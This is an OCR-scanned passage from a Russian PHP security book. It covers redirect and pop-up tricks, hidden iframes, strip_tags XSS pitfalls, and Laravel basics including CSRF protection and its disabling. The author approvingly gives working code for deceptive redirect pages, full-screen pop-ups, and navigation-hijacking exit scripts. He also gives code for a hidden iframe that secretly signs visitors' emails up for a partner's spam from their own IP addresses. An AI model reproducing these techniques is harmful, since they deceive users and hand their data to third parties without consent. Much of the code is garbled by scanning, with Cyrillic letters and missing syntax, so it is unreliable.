ку невыгодно, потому что это будет слишком заметно и подозрительно. Например, 
если вы создаете ссылку на сайт в стиле «проверь свой IQ», то нужно приложить 
максимум усилий, чтобы посетитель поверил, что вы не пытаетесь его обмануть. 

Пользователи не особо доверяют ссылкам, ведущим на внешние сайты. Желатель
но, чтобы при наведении указателя мыши на ссылку в строке состояния отобра
жалась ссылка на текущий сайт. Для этого можно использовать переадресацию. 
Например, в вашей странице может быть следующий код: 

<div id="contentdiv"> 

<hl>Meгacaйт</hl> 

<р/Хочешь выиграть приз? 

<а href="get-free-gift.php">Кликни здесь</а> 

и получишь миллион баксов. 

Или <а href="know-your-iq.php">yзнaй свой IQ.</a> 

</р> 

</div> 

В этом коде две ссылки, которые позволят нам показать два разных метода переад
ресации. Первая ссылка указывает на файл get-free-gift.php. Это просто файл сцена
рия, который находится на вашем же сервере и содержит следующий код: 

<?php 

Header("Status: 200 ОК"); 

Header("Location: http://www.flenov.ru"); 

?> 
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Здесь всего две строки кода и обе вызывают метод Header (), который создает запи
си для заголовка НТТР-запроса. Эrот метод должен вызываться до НТМL
операторов. В первой строке в заголовок добавляется статус ответа. Для НТТР
пакетов кодом корректного ответа является число 200. Во второй строке в заголо
вок добавляется параметр Location. В этом параметре можно передать URL-aдpec, 
на который должна произойти переадресация. Получается, что наш файл get-free

gift.php просто просит пользователя перейти на caйтwww.flenov.ru.

Теперь посмотрим на содержимое файла know-your-iq.php (листинг 5.6), который 
также производит переадресацию на другой сайт. 

<!ООСТУРЕ html PUBLIC "-//WЗC//DTD XHTML 1.0 Transitional//EN" 

"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 

<html xmlns="http://www.w3.org/1999/xhtml"> 

<meta http-equiv="refresh" 

content="5;url=http://www.flenov.info" /> 

<title>Здecь ты узнаешь свой IQ</title> 

<link href="style.css" rel="stylesheet" type="text/css" /> 

</head> 

<body> 

<div id="container"> 

<div id="contentdiv"> 

<hl>Meгacaйт</hl> 

<р>Сейчас мы узнаем, какой у Вас IQ. Подождите 5 сек</р> 

</div> 

</div> 

</body> 

</html> 

Здесь уже целая НТМL-страница с текстом. Да, текст очень простой для экономии 
места в книге, но его можно сделать более информативным. Можно поместить ста
тью про IQ. В этом случае ссылка будет интересна поисковым системам, ведь она 
ведет к статье на вашем же сайте про IQ. 

Но на этой странице есть одна очень важная строка кода (хотя она и разбита на две 
для удобства форматирования в книге): 

<meta http-equiv="refresh" 

content="5;url=http://www.flenov.info" /> 

Эrа строка должна находиться в заголовке НТМL-страницы, т. е. между тегами 
<head> и </head>. Она заставляет содержимое страницы обновиться. Самое инте
ресное здесь - параметр content. Ему присваивается строка, которая состоит из 
двух частей, разделенных точкой с запятой. Первая часть - это число, указываю
щее время в секундах, через которое нужно произвести обновление страницы. Вто
рая часть - это строка, определяющая URL-aдpec страницы, которая должна быть 
загружена. В нашем случае через 5 секунд будет загружен сайт flenov.info.
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Эrот метод гораздо предпочтительнее. Считается, что поисковые системы лояльно 
относятся к такой переадресации. Дело в том, что страница содержит текст, а поис
ковые системы «любят» индексировать текст. Что-то более конкретное сказать 
невозможно, потому что алгоритмы индексирования засекречены. 

Пользователи видят более или менее релевантную информацию, а значит, не сразу 
заметят подвох. Компания, в которой я работал несколько лет назад, создавала 
очень много сайтов, перенаправляющих таким образом трафик на сайты клиентов. 
В результате компания зарабатывала большие деньги на продаже трафика. 

5 .1 О. 2. Всплывающие окна 

Всплывающие окна бесят посетителей, но они все еще эффективны в борьбе за . 
трафик. Непрофессионализм некоторых создателей сайтов приводил к тому, что 
посетитель оказывался буквально засыпанным всплывающими окнами, и тогда это 
не приносило абсолютно никаких дивидендов, а только раздражало. 

Для защиты добросовестных посетителей сначала стали появляться программы
надстройки, которые блокировали всплывающие окна, а впоследствии подобную 

- защиту стали предлагать и сами производители браузеров. Все современные брау
зеры имеют такую функцию, и у каждого она работает по-своему, хотя все они
в чем-то схожи. Схожесть заключается в том, что блокируется автоматическое по
явление окон в момент загрузки или закрытия страницы.

Всплывающие окна создаются в коде на языке JavaScript, который выполняется
браузером. Подобный код позволяет писать обработчики таких событий, как за
грузка или закрытие страницы. Впрочем, создавать окна в обработчиках этих собы
тий практически бесполезно, потому что окно, скорее всего, будет заблокировано.
Хотя обсуждение JavaScript, казалось бы, выходит за рамки книги о РНР, тема
слишком близка любому хакеру, поэтому мы все же рассмотрим ее.

Если нужно беспрепятственно показать всплывающее окно, то следует использо
вать события, связанные со щелчками мыши. По моим наблюдениям, все браузеры
разрешают создавать окна по щелчку. Самый простой способ создать новое окно
использовать JаvаSсriрt-функцию window. open:

<а href="#" onclick="window. open ( 'http://www. cydsoft. сот');">

В этом примере на месте параметра href тега <а> указываем символ решетки, чтобы
при щелчке по ссылке ничего не происходило. А вот открытие окна происходит
в JavaScript-кoдe по событию onclick, т. е. когда пользователь щелкнул на ссылке.

Параметр href блокировать не обязательно. Вы можете по нему открывать какой
нибудь файл:

<а href="http://www.funniestworld.com"

onclick="window. open ( 'http://www. cydsoft. сот') ; "> 

В этом примере href указывает на один сайт, а по событию onclick мы загружаем 
совершенно другой сайт. Таким образом будут загружены оба, каждый в своем окне. 
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Еще более интересным вариантом может быть открытие всплывающего окна по
верх существующего так, чтобы оно полностью перекрывалось. Старая страница 
как бы остается под открытой. Эту проблему можно решить той же функцией, про
сто использовать другой ее вариант, который получает три параметра. Третий из 
них содержит свойства окна- такие как его позиция и размер. В листинге 5.7 по
казан пример JavaScript-кoдa, который создает полноэкранное окно. 

<script type="text/javascript"> 
var wu; 
function yPop(url) 

params 'width='+screen.width; 
params += ', height='+screen.height; 
params += ' top=O, left=O'; 
params += ' fullscreen=yes'; 
params += ' scrollbars=l'; 

wu = window.open(url, "MySite", params); 

return false; 

</script> 

Теперь ссылка может выглядеть следующим образом: 

<а href="#" onclick="return yPop(http://www.flenov.info);" > 

Тут есть только один маленький недостаток - в строке состояния для такой ссыл
ки появляется символ решетки. Не очень хорошее решение, потому что вызовет 
подозрение у пользователей, которые смотрят в строку состояния. Можно изменить 
ссьmку следующим образом: 

<а href="http://www.flenov.info" 
onclick="return yPop(this.href);" > 

5.10.3. Тег <iframe> 

Самая ужасная конструкция, которую только могли придумать разработчики языка 

разметки НТМL, - это тег <iframe>. Он создает интерактивный фрейм, встроен
ный в страницу, который может загружать в себя страницы не только с того же 
сайта, что и основная страница, но и с других серверов. 

Когда я работал на компанию, которая создавала далеко не очень хорошие сайты, 
то однажды перед программистами нашей фирмы была поставлена задача насиль
ственного подписания всех посетителей, проходящих через наши сайты, на новости 
одного из партнеров. За каждого подписчика партнер платил нам деньги, а посети-
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тель получал тонну спама. Подписка должна была происходить максимально неза
метно для посетителя, чтобы он не заподозрил наши совершенно «невинные» сай
ты в нечестной игре, да и партнер должен был видеть IP разных пользователей, 
чтобы он не заметил подставу с нашей стороны. 

На наших сайтах бьmа форма, где посетитель должен был вводить свой электрон
ный адрес. Можно было бы подписывать посетителей, отправляя запросы с нашего 
сервера в момент получения формы, но тогда подписка происходила бы с IР-адреса 
нашего сервера, что недопустимо. Посетитель должен был подписываться со своего 
адреса, что, собственно, мы и хотели реализовать. Отправить запрос со стороны 
посетителя можно с помощью тега <iframe>. 

Если встроить в страницу следующий код, то внутри страницы появится фрейм, 
в котором будет отображено содержимое моего сайта www.flenov.info. При этом 
сайту через параметр param будет передано содержимое одноименного GЕТ-пара
метра. Вот так мы можем передать партнеру электронный адрес, который был вве
ден в форму: 

<iframe 
src="http://www.flenov.info?param=<? print($_GET[param)); ?>" 
width="бOO" height="400"> 

</iframe> 

Нужно просто заменить param на имя параметра, который вы используете для элек
тронного почтового адреса. 

Форма видна, значит, это не очень удачное решение. Нам ведь нужно сделать под
писку на новости максимально незаметной. Нет проблем! Помещаем фрейм в неви
димый блок: 

<div style="visiЬility:hidden"> 
<iframe 

src="http://www.flenov.info?param=<? print($_GET[param]); ?>" 
width="бOO" height="400"> 

</iframe> 
</div> 

Теперь содержимое загруженного фрейма не будет видно, значит, мы выполнили 
все условия поставленной задачи. 

Если фрейм невидим, то его браузер может не загрузить, но и эту проблему можно 
обойти - установить ширину и высоту фрейма в 1 пиксел. Или можно перекрыть 
какой-нибудь картинкой. 

5.10.4. Стой, не уходиl 

Лучше хоть что-то, чем ничего. Люди любят скидки и подарки, поэтому посетите
лю, пришедшему на коммерческий сайт, обычно делается стандартное предложе
ние,. в котором цена на товар или услугу немного завышена. Однако когда он попы
тается уйти с сайта, появляется окно с предложением остаться и получить скидку. 
Очень многие посетители соблазняются подобным предложением. А кто устоит? 
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Реализовать это можно снова с помощью JavaScript. Для этого надо написать код, 
который будет выполняться по событию onЬeforeunload окна. Например: 

<script> 
var internallink = false; 
function unload() { 

if (internallink) 
return; 

window.location = "http://www.flenov.info"; 
return "Стойте, не уходите! ! ! "; 

window.onЬeforeunload = unload; 
</script> 

В этом коде объявлена функция с именем unload, которая изменяет текущий URL 
на адрес другого сайта (просто для примера): http://www.Oenov.info, и в качестве 
результата возвращает текст. Этот текст будет отображен в диалоговом окне, кото
рое увидит посетитель. Чтобы функция начала работать, ее имя нужно присвоить 
обработчику window. onbeforeunload. 

Обратите внимание на переменную internallink. Если она равна true, то код не 
выполняется. Эта переменная нужна для того, чтобы отменять код, если посетитель 
щелкнул по какой-то ссьmке внутри сайта, т. е. никуда не уходит, .а продолжает 
двигаться дальше. Иначе говоря, требуется, чтобы при щелчках по внутренним 

ссылкам сайта переменная internallink принимала значение true. Это можно сде
лать следующим образом: 

<а href="get-free-gift.php" onclick="internallink=true;"> 

В этом примере ссылка указывает на внутреннюю страницу, а по событию onclick 
выполняется JavaScript-кoд, который изменяет переменную и этим отключает 
JavaScript-oкti:o. Есть еще один способ - можно внутри страницы просто откры
вать все ссьmки в новом окне. Это тоже выход, но не всегда удобный. 

5.11. Как убрать теги? 

Если в качестве входных данных поступает НТМL-текст, то может возникнуть 
необходимость убрать все теги. Мы уже знаем, как экранировать и обезвреживать 
теги, но сейчас мы хотим убрать их вовсе и оставить текст в чистом виде. 

Допустим, что у нас есть строка: 

$str = "Это <Ь>жирный</Ь> текст, а это <i>наклонный</i>. 
И еще <а href='http://www.flenov.ru'>ccылкa</a>"; 

Чтобы убрать все теги, можно воспользоваться функцией strip_tags. Следующая 
строка выведет на страницу только текст: 

print(strip_tags($str)); 
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В результате на странице будет выведена строка: 

Это жирный текст, а это наклонный. И еще ссылка 

без какого-либо форматирования. 
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У функции strip_tags есть еще один параметр, в котором можно передать список 
разрешенных тегов. В этом случае из строки будут удалены все теги, кроме разре
шенных. Очень часто подобное используется для того, чтобы разрешить безобид
ные теги (i, ь, u и некоторые другие), а убрать все остальное. 

Подход с запрещением всего, что явно не разрешено, вполне подходящий, и в на
шем случае это будет выглядеть так: 

strip_tags($str, '<i><b>') 

В результате на страницу будет выведено одно слово, выделенное жирным, одно -
наклонным, а ссьшки не будет. Вроде бы безопасно, но даже теги форматирования 
ь или i, а точнее их атрибуты, могут представлять опасность. Злоумышленник мо
жет повесить JavaScript-кoд на атрибут onmouseover и strip _ tags оставит атрибуты 
без изменений вместе с тегами: 

$str = "<i оnmоusеоvеr=\"аlеrt('Привет')\">наклонный</i>"; 
print ("Уязвимый i: " . strip_tags ($str, '<i><b>')); 

На экране появится на первый взгляд безобидный текст, но если провести мышью 
по слову наклонный, то на экране появится диалоговое окно. Подобным образом 
хакеры смогут провести атаку XSS. 

Как безопасно использовать strip_tags, если нужно оставить некоторые теги? 

Можно после выполнения strip_tags с помощью регулярного выражения прове
рить, что в строке не осталось ничего зловредного. Регулярное выражение может 
оказаться достаточно сложным и будет зависеть от разрешенных тегов и правил. 

Можно не разрешать теги. Очень часто на сайтах можно увидеть текстовые поля, 
где форматирование происходит не с помощью НТМL-тегов, а с помощью их вари
антов с квадратными скобками, например: 

$str = "<i onmouseover=\"alert ('Привет') \">наклонный</i> 
Безопасная (i]безопасно[/i)"; 

$notagsstr strip_tags($str); 
$notagsstr = st.r_replace(' [i] ', '<i>', $notagsstr); 
$notagsstr = str_replace(' (/i) ', '</i>', $notagsstr)); 
рrint("Уязвимый i: " . $notagsstr . "<hr/>"); 

В этом примере в переменной есть уязвимый тег i, который будет убран в коде 
с помощью strip_tags. Есть также безопасный вариант [iJ, который будет потом 
сконвертирован в <i>. Конвертировать можно как с помощью регулярных выраже
ний, так и с помощью строгого str_replace. 

Если вы будете использовать регулярное выражение, то оно должно быть макси
мально строгим, чтобы ни один атрибут не прошел. Я бы не стал сильно стараться 
и не разрешил бы даже пробелы типа: < i >. 
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lреймворки РНР 

Все это время мы писали на «чистых» РНР и НТМL, что, в принципе, допустимо 

для совсем небольших сайтов или микросервисов. Мой сайт-визитка www.t1enov.ru -
это всего лишь одна страница, и поэтому я использовал для его создания «чистые» 

HTML и РНР, но мой блог www.t1enov.info - уже на много более сложный, и пи
сать что-то такое на «чистом» РНР, конечно, можно, но с помощью фреймворков 

намного удобнее. 

Фреймворки - перевести это можно как «платформа», «каркас» или «основа», 

и очень часто они представляют собой набор компонентов и библиотек, которые 
объединяются в единое целое и упрощают программирование. В нашем случае мы, 

разумеется, будем говорить о веб-фреймворках, которые упрощают создание веб

сайтов. 

Все фреймворки, с которыми мне доводилось работать, предоставляют не только 
удобство разработки, но еще и серьезные средства защиты. 

Информация, которую мы рассмотрели в предыдущих главах, остается полезной и 
помогает понимать природу уязвимостей, но при использовании фреймворков за

щита от многих атак осуществляется намного проще, потому что их разработчики 

уже реализовали в них для нас все необходимое. 

6 .1 . Знакомство с Laravel 

За все время моей работы с РНР я использовал различные фреймворки, но для этой 

книги выбрал Laravel. Познакомился я с ним недавно и просто влюбился в него -
насколько этот классный фреймворк обладает всеми необходимыми свойствами: 

упрощает создание сайтов любой сложности и при этом невероятно прост в обра

щении. 

Сначала мы здесь познакомимся с самим фреймворком, а потом поговорим о безо
пасности. 
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Для работы с Laravel я рекомендую установить Composer (информацию по уста
новке для вашей платформы ищите здесь https://getcomposer.org) - менеджер за
висимостей, с помощью которого удобно устанавливать необходимые компоненты. 

При наличии установленного Composer создание проекта для Laravel сводится 
к выполнению всего одной команды в терминале: 

composer create-project laravel/laravel testapp 

Здесь мы просим cornposer создать проект (create-project) типа laravel/laravel 

с именем testapp. 

В окне терминала (рис. 6.1) начнет отображаться статус установки. 
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Рис. 6.1. Установка Laravel 
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После установки на компьютере появится папка с именем testapp, соответствующим 
имени проекта. Мы можем перейти в эту папку: 

cd testapp 

и запустить на выполнение сервер РНР: 

php artisan serve 

В терминале должны появиться две строки: 

INFO Server running on [http: / /127 . О. О. 1 : 8000] . · 
Press Ctrl+c to stop the server 
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В первой строке нам говорят, что бьm запущен сервер, и показывают адрес, на 
котором он запущен. Во второй строке сразу сообщают, как можно остановить 
выполнение сервера - это стандартная комбинация клавиш <Ctrl>+<C>. 

Всё, и если перейти по адресу bttp://127.0.0.1:8000/, то можно увидеть симпатич
ную страницу, которая отображается при открытии пустого проекта. 

Если вы захотите использовать исходные коды из книги, то в папке chapter6 сопро
вождающего книгу файлового архива вы найдете все необходимое, но без зависи
мостей Laravel. Чтобы их восстановить, перед запуском сайта выполните команду: 

composer update 

6. 2. Быстрый старт

Давайте напишем небольшое приложение, в процессе подготовки которого позна
комимся с самыми основами фреймворка. По Laravel можно писать отдельную кни
гу, поэтому я буду «срезать много углов» и нарушать некоторые правила, чтобы 
не раздувать книгу до бесконечности. Главное - создать базу, на основе которой 
можно будет поговорить про безопасность. 

Логику приложения лучше хранить в контроллерах - специальных классах 
Laravel, которые группируют логику работы сайта. Давайте создадим такой кон
троллер, выполнив команду: 

php artisan make:controller BlogController 

В результате вы должны увидеть сообщение, что контроллер бьm успешно создан: 

INFO Controller [app/Http/Controllers/BlogController.php] created sucoessfully. 

Контроллеры располагаются в папке app/Http/Controllers, и согласно сообщению 
в этой папке бьm создан новый файл: BlogController.php. 

Давайте откроем его и посмотрим на содержимое: 

<?php 

namespace App\Http\Controllers; 

use Illuminate\Http\Request; 

class BlogController extends Controller 

Здесь у нас простой РНР класс BlogController, который расширяет возможности 
класса Controller. В базовом классе есть определенная функциональность, которая 
будет полезна контроллерам веб-приложений. 

Идея таких классов в том, что в них мы можем создавать функции, которые будут 
выполняться в ответ на загрузку определенных интернет-маршрутов (URL) или 
действий. 
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Для примера я создам URL-маршрут /adc!Ьlogitem (чтобы к нему обратиться ло
кально, нужно загрузить страницу bttp://127.0.0.1:8000/addЬlogitem) и действие 

saveЫogitem, по которому мы должны будем сохранять данные. 

Код контроллера с двумя методами можно увидеть в листинге 6.1. 

<?php 

namespace App\Http\Controllers; 

use Illurninate\Http\Request; 

class BlogController extends Controller 

puЫic function adc!Ьlogitem(Request $request) 
{ 

·return view('adc!Ьlogitem'); 

puЫic function saveЬlogitem(Request $request) 
{ 

// в будущем мы здесь будем создавать запись в блоге, 
/! а пока просто переадресовываем на домашнюю страницу 
return redirect('/'); 

Теперь у класса есть два метода, их имена совпадают с URL-маршрутом и действи
ем, которые я хотел создать, хотя это не является обязательным. Методы ничего 

особого не делают. Первый из них (actdЫogitem) просто возвращает результат вы

полнения какого-то магического метода view, которому передается имя. Второй 

(saveЫogitem) в будущем будет сохранять данные о базе данных и после этого пе
реадресовывать на домашнюю страницу. 

Метод view ищет шаблон с указанным в параметре именем в папке resources/views. 

В этой папке уже есть один шаблон (welcome.Ьlade.php)- именно его я использую 

во втором методе saveЫogi tem, чтобы не создавать много лишнего. А вот шаблона 
с именем addЫogi tem нет, поэтому давайте создадим файл addЫogitem.Ыade.php и 
поместим в него код из листинга 6.2. 

Вы, наверное, уже догадались, что имя файла шаблона состоит из имени, которое 

мы передаем методу view, плюс Ыade.php. 

<!DOCTYPE html> 
<html lang=" { { str _ replace ( '_', ,_, арр () ->getLocale () ) } } "> 
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<head> 
<meta charset="utf-8"> 

</head> 
<body class="antialiased"> 

<form action="/saveЫogitem" method="post"> 
<input type="text" name="title"/> 
<button>Save</button> 

</form> 
</body> 

</html> 

Глава б 

Обратите внимание, что у тега 'form атрибут action указывает на действие 
/ addЬlogi tem, а это вторая функция, которую мы создали в контроллере. 

В шаблоне welcome.Ьlade.php вы можете увидеть НТМL-код, который создает ту 
страницу, которую мы видели после запуска сайта сразу после создания. 

Если сейчас запустить сайт, то он еще не будет работать - при обращении по 
адресу bttp://127.0.0.1:8000/addЬlogitem ничего не загрузится. Нужно подсказать 
Laravel, что мы задумали отображать определенные функции в ответ на обращение 
по адресу URL-маршрута или действию формы. Для этого открываем файл 
routes/web.php и где-нибудь в его начале добавляем ссылку на созданный конт
роллер: 

use App\Http\Controllers\BlogController; 

А теперь где-нибудь в конце файла добавляем две строки: 

Route::get('/addЬlogitem', [BlogController: :class, 'addЬlogitem']); 
Route::post('/saveЫogitem', [BlogController: :class, 'saveЫogitem']); 

Первая строка задает параметры для действия get. Само действие указано в качест
ве первого параметра. Второй параметр - это класс и метод класса, который мы 
хотим вызывать при обращении к действию. Вот теперь мы явно указали задумку: 
по обращению addЬlogitem вызывать метод addЫogitem класса BlogController. 

Вторая строка задает действие post. Тут также два параметра: URL-маршрут дейст
вия и класс с методом, которые нужно вызвать. 

Если теперь запустить сайт, то мы увидим ожидаемый результат при загрузке 
http://127.0.0.1:8000/addЬlogitem. 

Давайте сразу заодно подчистим представление welcome.Ыade.php, убрав из него все 
лишнее и отставив только следующий НТМL-код: 

<!DOCTYPE html> 
<html lang=" { { str _ replace ( '_', ' -', арр () ->getLocale () ) ) ) "> 

<head> 
<meta charset="utf-8"> 

</head> 
<body class="antialiased"> 

<hl>Добро пожаловать</hl> 
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</body> 
</html> 
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Тут нам достаточно просто отобразить какое-то простое текстовое сообщение, что
бы можно было видеть, что страница загружается. 

6. З. У яэвимость CSRF

В разд. 3.13 мы обсуждали-уязвимость CSRF, которая может быть очень опасной. 
Как уже бьшо отмечено, фреймворки упрощают разработку и защиту веб-сайтов. 
Давайте запустим приложение: 

php artisan serve 

Хотя наш сайт пока еще ничего не делает - у нас только форма и две функции, 
которые просто что-то отображают, но этого уже достаточно, чтобы посмотреть на 
встроенную во фреймворк систему безопасности. 

Загрузим страницу с формой: bttp://127.0.0.1:8000/addЫogitem - и попробуем 
нажать кнопку отправки формы. Вы должны увидеть ошибку 419 (рис. 6.2). 

• 9 8 0 Page Expired х + 

f- ➔ С <D 127.0.0.1:8000/saveЬlogitem 

419 PAGE EXPIRED 

Рис. 6.2. Ошибка 419 

Мы что-то сделали не так? И да и нет. Код выполняется, а просто это сработала за
щита от возможной атаки CSRF. При отправке каждой формы методом POST фрейм
ворк проверяет наличие специального токена, который мы еще не добавили. Чтобы 
сделать это, нужно всего лишь дописать к форме фрагмент кода: { { csrf _ 
field {)}} или (@csrf). Следующий пример использует первый вариант: 

<foпn action="/saveЫogitem" method="post"> 
{ {csrf_field()}} 
<input type="text" name="title"/> 
<button>Save</button> 

</form> 
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Простой перезагрузки страницы здесь будет мало - от этого добавленный код не 
подхватится. Нужно вернуться на страницу назад. Причем даже нажатия на кнопку 
Назад может оказаться недостаточно, потому что браузер может загрузить все из 
кеша, который токена не знает. Так что если повторная отправка формы не срабо
тала, значит, вы загрузили страницу из кеша, и лучше не просто пойти назад, а 
именно закрыть страницу bttp://127.0.0.1:8000/addЫogitem и снова ее загрузить. 
Вот если теперь нажать на кнопку отправки формы, все отлично сработает. Однако 
не торопитесь, давайте посмотрим на утилиты разработчика или исходник страни
цы. Страница небольшая, поэтому можно просто правой кнопкой щелкнуть по ней, 
выбрать опцию Показать исходный код и найти форму, которая будет выглядеть 
примерно так: 

<forrn action="/saveЫogitem" method="post"> 

<input type="hidden" name="_token" 

value="gHYxErxW4rvT5IMh5bqtunqQGzVilz8bQN2nccYf"> 

<input type="text" name="title"/> 

<button>Save</button> 

</form> 

В том месте, где я дописал {{csrf_field() }}, теперь появилось скрытое поле 
input с именем _token и уникальным значением. За счет того, что это значение 
очень сложно предугадать, хакеры, его не знающие, при попытке использовать ата
ку CSRF увидят ошибку 419. 

Laravel сохраняет код csrf в виде зашифрованного значения cookie, и для каждого 
пользователя это значение свое. 

А что, если вам действительно нужна страница, на которую могут отправляться 
какие-то сообщения с другого сайта? Эта страница не будет делать ничего опасно
го, поэтому вы можете быть уверены, что взлома не будет. 

Я как-то работал над сайтом, на котором нужно было сохранять текст со страницы 
Связаться с нами других сайтов. У компании бьmо много сайтов - от 
www.company.com до www.companypromo.com, но у всех форма обратной связи 
отправляла сообщения на специальный сайт www.companyfeedback.com. Пользо
ватель вводит данные на www.company.com, а сохраняются они на www. 
companyfeedback.com. Это разные сайты, и поэтому невозможно просто так про
верять CSRF - нужно делать специальный API, а это займет время. 

В качестве временного решения проблемы компания просто перестала защищать 
этот API, потому что самое страшное, что могло произойти, - это отправка хаке
ром какого-то сообщения от имени другого пользователя. А это ни на что бы не 
повлияло, поскольку сообщения все равно были анонимными. 

Как отменить защиту от CSRF? В вашем Laravel-пpoeктe есть файл app/Http/ 

MiddlewareNerifyCsrfТoken.php, и вы можете явно указать в нем страницы, на которых 
не нужно проверять токен в массиве $except: 

<?php 

namespace App\Http\Middleware; 
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use Illuminate\Foundation\Http\Middleware\VerifyCsrfToken as Middleware; 

class VerifyCsrfToken extends Middleware 

{ 

/** 
* The URis that should Ье excluded from CSRF verification.
* 

* @var array<int, string> 
*/ 

protected $except = [ 
"contactus/*", // 

] ; 
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После такого изменения на страницах, URL которых начинается с contactus, про
верка токена производиться не будет. 

Это хороший подход, когда по умолчанию проверка включена и программист дол
жен сам снимать защиту. Когда я последний раз работал с фреймворком Symfony, 
то там защиты от CSRF по умолчанию не бьто, и приходилось явно указывать 
страницы, которые должны быть защищены. Подход, когда защита стоит по умол
чанию, лучше, поэтому мне в последнее время Laravel нравится больше. 

6. 4. Базы данных

В этом примере мы воспользуемся базой данных MySQL. И начнем с настройки 
доступа к ней. Эти настройки находятся в файле .env. Огкройте файл .env в любом 
редакторе, найдите параметр oв_PASSWORD и добавьте к нему пароль: 

DB_CONNECTION=mysql 
DB HOST=127.0.0.1 
DB РОRТ=ЗЗОб 
DB DATAВASE=laravel 
DB USERNAМE=root 
DB_PASSWORD=пapoль 

В современных фреймворках намечается тенденция к подходу Code First, когда вы 
описываете необходимые данные в виде кода (в нашем случае на языке РНР), а по
том генерируете миграции ( специальный код, который будет создавать необходи
мые объекты базы данных). При этом вам не нужно с помощью SQL создавать 
структуру базы данных и отдельно писать необходимый для доступа к базе код -
достаточно только один раз написать код на РНР, а о базе данных позаботится 
фреймворк. 

Создадим первую модель для хранения информации данных блога: 

php artisan make:model Blog -m 

Ключ -m говорит о том, что мы хотим создать миграцию - РНР-файл, который 
будет создавать в базе данных таблицу Blog с нужными нам полями. В результате 
в консоли вы должны увидеть: 
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INFO Мodel [app/Мodels/Blog.php] created sucoessfully. 

INFO Created mi.gration [2022_10_05_181211_create_Ыogs_taЫe]. 

В первой строке нам сообщают, что был создан файл app/Models/Blog.php - это файл 
модели для таблицы блога. 

Во второй строке содержится информация, что бьш создан файл миграции 
2022_10_05_181211_create_Ыogs_taЬle. Тут путь к этому файлу не указан, но все 
миграции расположены в папке database/migrations. 

Если посмотреть теперь в папку app/Models, то в ней можно увидеть еще один 
файл - User.php, который мы не создавали, но он там есть. Его сгенерировал 
фреймворк при создании проекта. Я еще не решил, буду его использовать или нет: 
в процессе работы над этой главой я, может быть, воспользуюсь включенной в него 
таблицей. 

Посмотрим на файл миграции. Там есть класс с двумя методами: up и down. Метод 
up реализуется, когда мы выполняем миграцию и создаем объект в базе данных. 
Метод down отвечает за уничтожение накладываемых изменений, когда мы хотим 
откатить миграцию. 

Посмотрим на сгенерированный метод up: 

puЫic function up() 
{ 

Schema::create('Ьlogs', function (Blueprint $tаЫе) { 

}) ; 

$taЬle->id(); // создание первичного ключа 
$taЬle->timestamps(); // создание колонок дат 

Я не хочу вдаваться во все подробности, потому что наша задача - только создать 
каркас для рассмотрения безопасности, поэтому просто скажу, что самые интерес
ные строки здесь: 

□ создание первичного ключа $taЫe->id (), что необходимо для реляционных баз
данных;

□ создание колонок для хранения времени добавления и последнего обновления
каждой строки.

Давайте добавим еще ·колонки: ti tle - для заголовка и content - для содержимо
го заметки: 

$taЫe->string('title', 50); 
$taЫe->text('content'); 

Первая строка говорит о том, что мы хотим видеть в базе данных колонку с именем 
ti tle размером в 50 символов, и это должна быть строка. Вторая строка создает 
текстовое поле с именем content. 

Теперь можно произвести миграцию, чтобы реально создать объекты, а для этого 
выполняем команду: 

php artisan migrate 
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Так как я выполняю команду первый раз, и у меня в базе данных нет базы с именем 
laravel, которое указано в параметре DB_DATABASE в файле .env, то мне будет пред
ложено создать такую базу. После выполнения команды в базе будет создана таб
лица Ыogs со следующими колонками: 

□ id Ьigint - первичный ключ;

□ title varchar (50);

□ content text;

□ created at timestamp;

□ updated_at timestamp.

6. 4 .1 . Добавление данных

Мы создали метод, который вызывается, когда пользователь отправляет данные 
формы, но мы пока ничего не делаем в этом методе. Но у нас есть таблица, в кото
рую мы можем сохранить данные. Давайте реализуем сохранение полученного от 
пользователя заголовка в таблице Blogs. 

Сначала в контроллере Вlogcontroller перед началом объявления класса добавляем 
подключение модели: 

use App\Models\Blog; 

А затем пишем код сохранения: 

puЫic function saveЬlogitem(Request $request) 

{ 
$Ыоg = new Blog; 
$Ьlog->title = $request->title; 
$Ыog->content = ''; 
$Ьlog->save(); 
return redirect('/'); 

Здесь мы сначала создаем экземпляр класса Blog. Потом в полях Title и content 
задаются значения. Для заголовка я задаю значение, которое передается через фор
му, а вот для контента на форме ничего нет, поэтому пока я использую пустую 
строку. Ну и, наконец, вызывается метод Save, который непосредственно и отвеча
ет за сохранение данных в базе. 

Мы сохранили в базе данные и при этом не писали SQL, как же так? Дело в том, 
что фреймворк прячет от нас SQL-зaпpoc, который был сгенерирован для сохране
ния данных в базе, и делает это очень элегантно. Реально запрос к базе данных 
будет сделан, и он станет использовать параметры, чтобы защитить наш код от 
возможной SQL-инъекции. Все это есть, но скрыто, и программисту не нужно вол
новаться о том, что в мире существует такая атака, как SQL Injection. 

Опять же, это не отменяет того факта, что вам необходимо знать и понимать, как 
работает инъекция. На фреймворк надейся, а сам не плошай. 
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6. 4. 2. Чтение данных

Мы уже можем добавлять новые записи блага на сайт, и теперь пора узнать, как 
можно отобразить данные на странице. Огкройте файл routes/web.php, потому что 
в нем находится код, который отображает домашнюю страницу. В реальном при
ложении я бы создал отдельный контроллер и перенес код домашней страницы 
туда, но в тестовом примере оставим его в файле web.php. 

На домашней странице мы будем отображать все заметки, помещенные в блог. Из
меним маршрут домашней страницы следующим образом: 

Route::get('/', function () { 
$list = Blog::all(); 
return view('welcorne', ['list' => $list]); 

}) ; 

Сначала мы с помощью конструкции Blog: : all () получаем из базы данных все 
заметки. 

При вызове view теперь указываются два параметра: имя представления и модель. 

В качестве модели используется переменная $list, в которой находится результат 

вызова Blog: : all () - т. е. все заметки в виде списка из объектов Blog. 

Этот код можно было записать в одну строку, но я разбил его на две, чтобы проще 

было давать пояснения происходящему. 

А где SQL-зaпpoc для доступа к данным? Его снова нет, по крайней мере в явном 
виде. А если запроса SQL нет, значит, сам фреймворк берет на себя ответствен
ность за безопасность данных. 

В представлении welcome.Ыade.php вывод заметок из модели будет выглядеть сле
дующим образом: 

@foreach ($list as $itern) 
<div class="Ьlog-itern"> 

<h2>{{$itern->title}}</h2> 
<div class="Ьlog-content"> 

{{$itern->content}} 
</div> 

</div> 
@endforeach 

Для работы с базами данных в Laravel используется компонент Eloquent, представ

ляющий собой Object-Relational Mapping (ОRМ). Я не знаю, как бы красиво пере
вести это определение на русский, но в Википедии написано, что ОRМ - это объ

ектно-реляциоююе отображение. Смысл ОRМ- создать объекты, которые будут 
отображать данные из базы, и копировать полученные данные из базы в эти объек
